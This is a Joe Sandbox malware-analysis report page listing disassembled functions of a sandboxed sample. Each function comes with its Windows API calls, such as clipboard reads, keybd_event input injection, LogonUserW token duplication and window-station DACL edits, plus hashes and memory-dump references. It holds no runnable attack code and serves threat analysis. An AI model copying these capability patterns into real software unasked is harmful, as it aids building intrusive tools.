Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3be04341adf3a91d5908e7c70b5dccd9b838bf974b5b6f6b5d9c7d2f8b10e4fa
Instruction ID: 3994a81bfbef88181a77ed0fd30d60e33ae119a3d2ef9d24ff20c51410ebbd5d
Opcode Fuzzy Hash: 3be04341adf3a91d5908e7c70b5dccd9b838bf974b5b6f6b5d9c7d2f8b10e4fa
Instruction Fuzzy Hash: 1DF01CB1305752CFDB349F65E490956BBE4BF14319320A96EE1EAA2661C7319848DB10

Function 00ED2A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00ED2A66

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 191acbc46c6a0fdcb81326b128f106aed68760c44e8a6b40ac09429ca2e368c6
Instruction ID: e6074a4a3887614c7753e4b04bb596f03e024152685cabbff96e80dc6cb55ae5
Opcode Fuzzy Hash: 191acbc46c6a0fdcb81326b128f106aed68760c44e8a6b40ac09429ca2e368c6
Instruction Fuzzy Hash: 08E048753511166EC714EA30DC804FA779CDBA5395710653BBD16E6240EB30D95686A0

Function 00E430F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00E4314E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: ede20d7b232b2d836c80d5efc572748c668ac1c0f6c12c73c5c0d2d5eb72899f
Instruction ID: a444c53e8b0775b1975e9b336aa03f3925cda7a1081d6ea88f06efb32f84cca2
Opcode Fuzzy Hash: ede20d7b232b2d836c80d5efc572748c668ac1c0f6c12c73c5c0d2d5eb72899f
Instruction Fuzzy Hash: 84F0A7709003189FE7529B24EC457D57BFCB70170CF0001E9A258A6285D7704788CF41

Function 00E42DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00E42DC4

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: dc92a20e526c2ffd96f79b954a9db1c8ea828be7a2f0a84051adcd204d507ef4
Instruction ID: 0f6aab4bb52d6e418fb3a2038ac1802b8bad07b481293cb54be9f4b3cdabcc46
Opcode Fuzzy Hash: dc92a20e526c2ffd96f79b954a9db1c8ea828be7a2f0a84051adcd204d507ef4
Instruction Fuzzy Hash: 41E0CD726001245BCB10A2989C05FDA77DDDFC87D4F0400B1FD0DF7258D960AD84C651

Function 00E42B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E43837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E43908

SetCurrentDirectoryW.KERNEL32(?), ref: 00E42B6B

Part of subcall function 00E430F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00E4314E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectory
String ID:
API String ID: 2619246295-0
Opcode ID: fa13e4e472819d2d117e340dadee8405431e3b3bae061751f4f34acc4fcf018e
Instruction ID: 94d0a414e82a376f021ee5de6dbc68a3af64f4afdb28bd39b9eb9f9d4b724872
Opcode Fuzzy Hash: fa13e4e472819d2d117e340dadee8405431e3b3bae061751f4f34acc4fcf018e
Instruction Fuzzy Hash: BEE0862170424407CA08FB75B8565AEF7D9DBD6755F40353EF242B31A3CE6545898251

Function 00E8039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00E80704,?,?,00000000,?,00E80704,00000000,0000000C), ref: 00E803B7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57fe7a093191346b065deb32a9d46b88e368fb7e519e9ccde43dc136fc9be68c
Instruction ID: 0cd696c910461c659d4f3299ca304a64bde9ea4b0f3ab533817766873ecb6ea3
Opcode Fuzzy Hash: 57fe7a093191346b065deb32a9d46b88e368fb7e519e9ccde43dc136fc9be68c
Instruction Fuzzy Hash: A6D06C3204010DBFDF028F85ED06EDA3BAAFB48754F114000BE5866020C732E821EB90

Function 00E41CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00E41CBC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 14126ab6f435094387aa61801611db27ac7f5b5f48c5f88553938393c23241a8
Instruction ID: df4ac21abf85d989e4da064012c141ae06923602e4601da8776efb3f329f56b7
Opcode Fuzzy Hash: 14126ab6f435094387aa61801611db27ac7f5b5f48c5f88553938393c23241a8
Instruction Fuzzy Hash: 8FC09236280309AFF6548BC0BC9AF907B65F34CB00F19C102F709A95E3C3A22820FA50

Non-executed Functions

Function 00ED9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00ED961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00ED965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00ED969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00ED96C9
SendMessageW.USER32 ref: 00ED96F2
GetKeyState.USER32(00000011), ref: 00ED978B
GetKeyState.USER32(00000009), ref: 00ED9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00ED97AE
GetKeyState.USER32(00000010), ref: 00ED97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00ED97E9
SendMessageW.USER32 ref: 00ED9810
SendMessageW.USER32(?,00001030,?,00ED7E95), ref: 00ED9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00ED992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00ED9941
SetCapture.USER32(?), ref: 00ED994A
ClientToScreen.USER32(?,?), ref: 00ED99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00ED99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00ED99D6
ReleaseCapture.USER32 ref: 00ED99E1
GetCursorPos.USER32(?), ref: 00ED9A19
ScreenToClient.USER32(?,?), ref: 00ED9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00ED9A80
SendMessageW.USER32 ref: 00ED9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00ED9AEB
SendMessageW.USER32 ref: 00ED9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00ED9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00ED9B4A
GetCursorPos.USER32(?), ref: 00ED9B68
ScreenToClient.USER32(?,?), ref: 00ED9B75
GetParent.USER32(?), ref: 00ED9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00ED9BFA
SendMessageW.USER32 ref: 00ED9C2B
ClientToScreen.USER32(?,?), ref: 00ED9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00ED9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00ED9CDE
SendMessageW.USER32 ref: 00ED9D01
ClientToScreen.USER32(?,?), ref: 00ED9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00ED9D82

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

GetWindowLongW.USER32(?,000000F0), ref: 00ED9E05

Strings

F, xrefs: 00ED9D07
@GUI_DRAGID, xrefs: 00ED997D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: 207390fbc2afa9d37b4d86a273268d274532e745d3c894ec26b229bd99d8083e
Instruction ID: 83f987b614e6fe54f260cbb7dc2243208a20a142dd237f77decb72b277ddbf0a
Opcode Fuzzy Hash: 207390fbc2afa9d37b4d86a273268d274532e745d3c894ec26b229bd99d8083e
Instruction Fuzzy Hash: 0A42BE30204201AFDB24CF24DC44AAABBE5FF48754F14561EF6A9A73E2D731E856DB42

Function 00ED4873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00ED48F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00ED4908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00ED4927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00ED494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00ED495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 00ED497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00ED49AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00ED49D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00ED4A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00ED4A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00ED4A7E
IsMenu.USER32(?), ref: 00ED4A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00ED4AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00ED4B20
GetWindowLongW.USER32(?,000000F0), ref: 00ED4B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00ED4BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00ED4C82
wsprintfW.USER32 ref: 00ED4CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED4CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00ED4CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00ED4D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED4D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00ED4D5A

Strings

%d/%02d/%02d, xrefs: 00ED4CA8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 7fa1935f85340abff339efba2ea70461463fc0bd51889f7f4519369696ee9c4b
Instruction ID: af28778781d3a616326c1c04e9c506d6ba6460255e01d6a67b849e187d9d32d6
Opcode Fuzzy Hash: 7fa1935f85340abff339efba2ea70461463fc0bd51889f7f4519369696ee9c4b
Instruction Fuzzy Hash: 331210B1600205AFEB248F25DC49FAE7BF8EF55714F10612AF915FA2E0DB749A42CB50

Function 00E5F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00E5F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E9F474
IsIconic.USER32(00000000), ref: 00E9F47D
ShowWindow.USER32(00000000,00000009), ref: 00E9F48A
SetForegroundWindow.USER32(00000000), ref: 00E9F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E9F4AA
GetCurrentThreadId.KERNEL32 ref: 00E9F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E9F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E9F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00E9F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00E9F4DE
SetForegroundWindow.USER32(00000000), ref: 00E9F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F4F6
keybd_event.USER32(00000012,00000000), ref: 00E9F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F50B
keybd_event.USER32(00000012,00000000), ref: 00E9F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F519
keybd_event.USER32(00000012,00000000), ref: 00E9F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E9F528
keybd_event.USER32(00000012,00000000), ref: 00E9F52D
SetForegroundWindow.USER32(00000000), ref: 00E9F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00E9F557

Strings

Shell_TrayWnd, xrefs: 00E9F46F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 0a2872db900ce5d1f47576c6baab7ec1de3f53db25a3d59b38b6fcf1a03f6bf9
Instruction ID: 8803d0eaa2751f640cfc20a4312532d0f4300deff49733441a20a74cb8e1cef3
Opcode Fuzzy Hash: 0a2872db900ce5d1f47576c6baab7ec1de3f53db25a3d59b38b6fcf1a03f6bf9
Instruction Fuzzy Hash: 17315271A412197EEF206BB66C49FBF7F6CEB44B50F210066F601F61D1C6B09D00EA61

Function 00EA1201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00EA16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
Part of subcall function 00EA16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EA173A
Part of subcall function 00EA16C3: GetLastError.KERNEL32 ref: 00EA174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00EA1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00EA12A8
CloseHandle.KERNEL32(?), ref: 00EA12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00EA12D1
GetProcessWindowStation.USER32 ref: 00EA12EA
SetProcessWindowStation.USER32(00000000), ref: 00EA12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00EA1310

Part of subcall function 00EA10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00EA11FC), ref: 00EA10D4
Part of subcall function 00EA10BF: CloseHandle.KERNEL32(?,?,00EA11FC), ref: 00EA10E9

Strings

winsta0, xrefs: 00EA12CC
, xrefs: 00EA125A
default, xrefs: 00EA130B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 8f27d09e23160f38db8d2cb7eb4d9baaf19f07c2881591ae67e17dd52f33f44e
Instruction ID: 1ffcd77d93266806ec079102a4c1175759c1d8184a5dba7ae7ec07df65e83dc8
Opcode Fuzzy Hash: 8f27d09e23160f38db8d2cb7eb4d9baaf19f07c2881591ae67e17dd52f33f44e
Instruction Fuzzy Hash: 72819E71900209AFDF119FA9DC49FEE7BB9EF0D744F1451AAF920BA1A0C774A944CB21

Function 00EA0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
Part of subcall function 00EA10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1120
Part of subcall function 00EA10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA112F
Part of subcall function 00EA10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00EA0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00EA0C00
GetLengthSid.ADVAPI32(?), ref: 00EA0C17
GetAce.ADVAPI32(?,00000000,?), ref: 00EA0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00EA0C6D
GetLengthSid.ADVAPI32(?), ref: 00EA0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00EA0C8C
HeapAlloc.KERNEL32(00000000), ref: 00EA0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EA0CB4
CopySid.ADVAPI32(00000000), ref: 00EA0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00EA0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EA0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EA0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0D45
HeapFree.KERNEL32(00000000), ref: 00EA0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0D55
HeapFree.KERNEL32(00000000), ref: 00EA0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0D65
HeapFree.KERNEL32(00000000), ref: 00EA0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00EA0D78
HeapFree.KERNEL32(00000000), ref: 00EA0D7F

Part of subcall function 00EA1193: GetProcessHeap.KERNEL32(00000008,00EA0BB1,?,00000000,?,00EA0BB1,?), ref: 00EA11A1
Part of subcall function 00EA1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00EA0BB1,?), ref: 00EA11A8
Part of subcall function 00EA1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00EA0BB1,?), ref: 00EA11B7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c98619d79d091faf9cbd5fdfdc4bb88a39fed2139c1c67d2345f19e7bdbf72ed
Instruction ID: 25e20835a46eee071662b84aedb00990ef1781747f0852107cf4265c5fec66fa
Opcode Fuzzy Hash: c98619d79d091faf9cbd5fdfdc4bb88a39fed2139c1c67d2345f19e7bdbf72ed
Instruction Fuzzy Hash: 22719C7290121AAFDF10DFA5EC44BAEBBB8FF09354F144115E914BB190D771A909CBA0

Function 00EBEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00EDCC08), ref: 00EBEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00EBEB37
GetClipboardData.USER32(0000000D), ref: 00EBEB43
CloseClipboard.USER32 ref: 00EBEB4F
GlobalLock.KERNEL32(00000000), ref: 00EBEB87
CloseClipboard.USER32 ref: 00EBEB91
GlobalUnlock.KERNEL32(00000000), ref: 00EBEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00EBEBC9
GetClipboardData.USER32(00000001), ref: 00EBEBD1
GlobalLock.KERNEL32(00000000), ref: 00EBEBE2
GlobalUnlock.KERNEL32(00000000), ref: 00EBEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00EBEC38
GetClipboardData.USER32(0000000F), ref: 00EBEC44
GlobalLock.KERNEL32(00000000), ref: 00EBEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00EBEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00EBEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00EBECD2
GlobalUnlock.KERNEL32(00000000), ref: 00EBECF3
CountClipboardFormats.USER32 ref: 00EBED14
CloseClipboard.USER32 ref: 00EBED59

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 0c43b91d3ca4a845b6720699581d11eeb391d04392496613a8ef1d79bb202de7
Instruction ID: 930d26ced6e287c3c7b785a65c0e80cb59d0be1a2a3ce3195e79de56f8d9d516
Opcode Fuzzy Hash: 0c43b91d3ca4a845b6720699581d11eeb391d04392496613a8ef1d79bb202de7
Instruction Fuzzy Hash: D461A0352042029FD310EF25E885FABB7E8EF84758F14651AF456B72A2CB71DD09CB62

Function 00EB698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

